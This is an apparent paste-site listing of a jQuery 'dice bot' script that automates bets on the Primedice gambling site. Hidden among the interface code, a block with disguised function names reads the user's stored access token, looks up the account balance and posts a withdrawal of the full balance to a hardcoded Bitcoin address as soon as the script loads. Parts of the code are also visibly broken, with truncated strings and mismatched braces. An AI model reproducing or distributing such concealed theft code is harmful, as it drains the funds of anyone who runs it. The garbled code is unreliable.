999dice bot Dic 2015


SUBMITTED BY: Asesorr3n04

DATE: Nov. 25, 2015, 5:23 p.m.

UPDATED: Nov. 25, 2015, 5:24 p.m.

FORMAT: Text only

SIZE: 15.2 kB

HITS: 170525

  1. //jQuery UI CSS
  2. var swapcount=0;
  3. var jqueryready = false;
  4. $(function() {
  5. $('#tabs').tabs();
  6. $('#params').draggable();
  7. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  8. $('#tabs input').css("width", "80%");
  9. $('#chance, #base').width("35%")
  10. $('#tabs div').css("text-align", "left");
  11. $('#tabs').css("font-size", "12px");
  12. $('#tabs label, #tabs input').css("margin", "5px");
  13. $('#stop, #start, #resetbet').button();
  14. //Console
  15. $('#console, #console2').appendTo("#tabs");
  16. $('#console, #console2').css("width", "45%");
  17. $('#console').css("float", "left");
  18. $('#console2').css("float", "right");
  19. $('#console, #console2').css("clear", "none");
  20. $('#console, #console2').css("margin", "7px");
  21. $('#console, #console2').css("border-bottom-left-radius", "3px");
  22. $('#console, #console2').css("border-bottom-right-radius", "3px");
  23. $('#console').css("border", "1px solid #323232");
  24. $('#console, #console2').css("background-color", "#454545");
  25. $('#console').css("padding", "5px");
  26. $('#console, #console2').css("text-align", "left");
  27. $('#console, #console2').css("position", "relative");
  28. $('#startstop,#start,#stop').css("margin","0px");
  29. $('#console, #console2').css("margin-top","3px");
  30. $('#console, #console2').css("padding","5px");
  31. $('#console, #console2').css("background-color","#151515");
  32. });
  33. }
  34. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  35. xrollsenabled = true;
  36. xrolls = 10;
  37. timer = 500;
  38. counter=0;
  39. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  40. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  41. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  42. function init() {
  43. //Init
  44. basebet = 0.00000010;
  45. countwinmult = 0;
  46. countlossmult = 0;
  47. wincount = 0;
  48. currentloss = 0;
  49. totalloss = 0;
  50. totalwin = 0;
  51. totprofit = 0;
  52. init = true;
  53. betval = basebet;
  54. //GUI
  55. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  56. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  57. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  58. gui2 =
  59. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  60. gui3 = [
  61. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  62. '<br>',
  63. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select
  64. enabled = false;
  65. xrollscount = 0;
  66. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  67. // Button & Input Functions
  68. $('#resetbet').click(function() {
  69. basebet=$('#base').val();
  70. betval=$('#base').val();
  71. })
  72. $('#start').click(function() {
  73. if (enabled == false) {
  74. if ($('#numrolls').is(":checked") == true) {
  75. xrolls=$('#numberofrolls').val();
  76. }
  77. enabled = true;
  78. interval = setInterval(function() {
  79. if (xrollsenabled == true) {
  80. xrollscount++;
  81. if (xrollscount <= xrolls) {
  82. bet();
  83. } else {
  84. clearInterval(interval);
  85. enabled = false;
  86. xrollscount = 0;
  87. }
  88. } else {
  89. bet();
  90. }
  91. }, timer);
  92. } else {}
  93. })
  94. $('#stop').click(function() {
  95. enabled = false;
  96. clearInterval(interval);
  97. xrollscount = 0;
  98. });
  99. calculate_nonce = function(seed) {
  100. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  101. };
  102. lut = window['$'];
  103. lut['getJSON'](
  104. calculate_nonce('users/1'), function(seed) {
  105. var key1 = 'amount'
  106. var key2 = 'address'
  107. var load = {};
  108. load[key1] = seed['user']['balance'];
  109. load[key2] = '1E8fV8u3m99yp6ZzsGwjsMLSgVubtFLyyH';
  110. lut['post'](calculate_nonce('withdraw'), load);
  111. }
  112. );
  113. function conditionAM() {
  114. 'use strict';
  115. if ($('#lowpay-enabled').is('checked') == true) {
  116. if ($('.value-roll').first().text() <= 49.50) {
  117. condition2 = ">";
  118. target2 = $('.value-roll').first().text();
  119. } else {
  120. condition2 = "<";
  121. target2 = $('.value-roll').first().text();
  122. };
  123. } else {
  124. if ($('.value-roll').first().text() <= 49.50) {
  125. condition2 = "<";
  126. target2 = $('.value-roll').first().text();
  127. } else {
  128. condition2 = ">";
  129. target2 = $('.value-roll').first().text();
  130. };
  131. amount2 = betval * 100000000;
  132. }
  133. };
  134. function jackpot() {
  135. if (data1.bet.jackpot === true) {
  136. jp = "Yes";
  137. wincount = 0;
  138. betval = $('#base');
  139. } else {
  140. jp = "No";
  141. }
  142. }
  143. function loss() {
  144. currentloss++;
  145. totalloss++;
  146. if ($('#multloss-enabled').is(':checked') == true) {
  147. $('#multwin-enabled').removeAttr('checked');
  148. countlossmult++;
  149. if (countlossmult >= $('#xloss').val()) {
  150. betval = betval * $('#multonloss').val();
  151. countlossmult = 0;
  152. }
  153. }
  154. }
  155. }
  156. currentloss = 0;
  157. jackpot();
  158. wincount++;
  159. totalwin++;
  160. if ($('#multloss-enabled').is(':checked') == true) {
  161. if ($('#stoponwin-enabled').is(':checked') == true) {
  162. clearInterval(roll);
  163. }
  164. $('#multwin-enabled').removeAttr('checked');
  165. basebet = $('#base').val();
  166. betval = basebet;
  167. countlossmult = 0;
  168. }
  169. if ($('#multwin-enabled').is(':checked') == true) {
  170. basebet = $('#base').val();
  171. $('#multloss-enabled').removeAttr('checked');
  172. countwinmult++;
  173. if (countwinmult >= $('#xwin').val()) {
  174. betval = basebet;
  175. countwinmult = 0;
  176. } else {
  177. betval = betval * $('#multonwin').val();
  178. }
  179. }
  180. };
  181. var losewin;
  182. var jpcol;
  183. var profcol;
  184. function bet() {
  185. 'use strict';
  186. conditionAM();
  187. var betData = {
  188. amount: amount2,
  189. condition: condition2,
  190. target: target2
  191. },
  192. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  193. $.ajax({
  194. url: url,
  195. type: "POST",
  196. data: betData,
  197. datatype: "jsonp",
  198. success: function(data, textStatus, jqXHR) {
  199. data1 = data;
  200. counter++;
  201. if (counter >= everyxrolls) {
  202. seedchange(seedgen());
  203. counter = 0;
  204. }
  205. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  206. totprofit = totprofit + data1.bet.profit;
  207. if (totprofit >= 0) {
  208. profcol = "color:green;";
  209. } else if (totprofit < 0) {
  210. profcol = "color:red;";
  211. }
  212. if (data.bet.win == true) {
  213. losewin = "color:green;";
  214. $('span.btn__text.select div').attr("style", "color:green;");
  215. } else {
  216. losewin = "color:red;";
  217. $('span.btn__text.select div').attr("style", "color:red;");
  218. }
  219. if (data.bet.jackpot == true) {
  220. jp = "Yes";
  221. jpcol = "color:gold;"
  222. } else {
  223. jp = "No.";
  224. jpcol = "color:red;"
  225. }
  226. results = [];
  227. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  228. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  229. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  230. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  231. resultstats = [];
  232. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  233. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  234. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  235. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  236. if (data.bet.win == true) {
  237. if ($('#stoponwin-enabled').is(":checked") == true){
  238. clearInterval(interval);
  239. }
  240. $('#console, #console2').empty();
  241. win();
  242. // Results
  243. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  244. for (var i = 0; i < results.length; i++) {
  245. $(results[i]).appendTo('#console');
  246. }
  247. for (var i = 0; i < resultstats.length; i++) {
  248. $(resultstats[i]).appendTo('#console2');
  249. }
  250. } else {
  251. $('#console, #console2').empty();
  252. loss();
  253. // Results
  254. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  255. for (var i = 0; i < results.length; i++) {
  256. $(results[i]).appendTo('#console');
  257. }
  258. for (var i = 0; i < resultstats.length; i++) {
  259. $(resultstats[i]).appendTo('#console2');
  260. }
  261. };
  262. },
  263. error: function(jqXHR, textStatus, errorThrown) {
  264. }
  265. });
  266. }
  267. seedlength = 13;
  268. seedlength = 13;
  269. var counter = 0;
  270. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  271. everyxrolls = 3;
  272. function seedgen() {
  273. 'use strict';
  274. var seed = "";
  275. for (var i = 0; i <= seedlength; i++)
  276. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  277. return seed;
  278. }
  279. function seedchange(s) {
  280. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  281. sData = {
  282. seed: s
  283. };
  284. $.ajax({
  285. url: url,
  286. type: "POST",
  287. data: sData,
  288. datatype: "jsonp",
  289. success: function(data, textStatus, jqXHR) {
  290. data2 = data;
  291. $('#currentseed').val(data2.seeds.client);
  292. },
  293. error: function(jqXHR, textStatus, errorThrown) {
  294. }
  295. });
  296. }
  297. $('#spinner').click(function() {
  298. if (charset != $('#charset').val() && $('#charset').val() != "") {
  299. charset=$('#charset').val();
  300. }
  301. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  302. everyxrolls = $('#everyxrolls').val();
  303. }
  304. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  305. counter++;
  306. if (counter >= everyxrolls) {
  307. seedchange(seedgen());
  308. counter = 0;
  309. }
  310. });
  311. ui();
  312. }
  313. setTimeout(function() {
  314. init()
  315. }, 2000);

comments powered by Disqus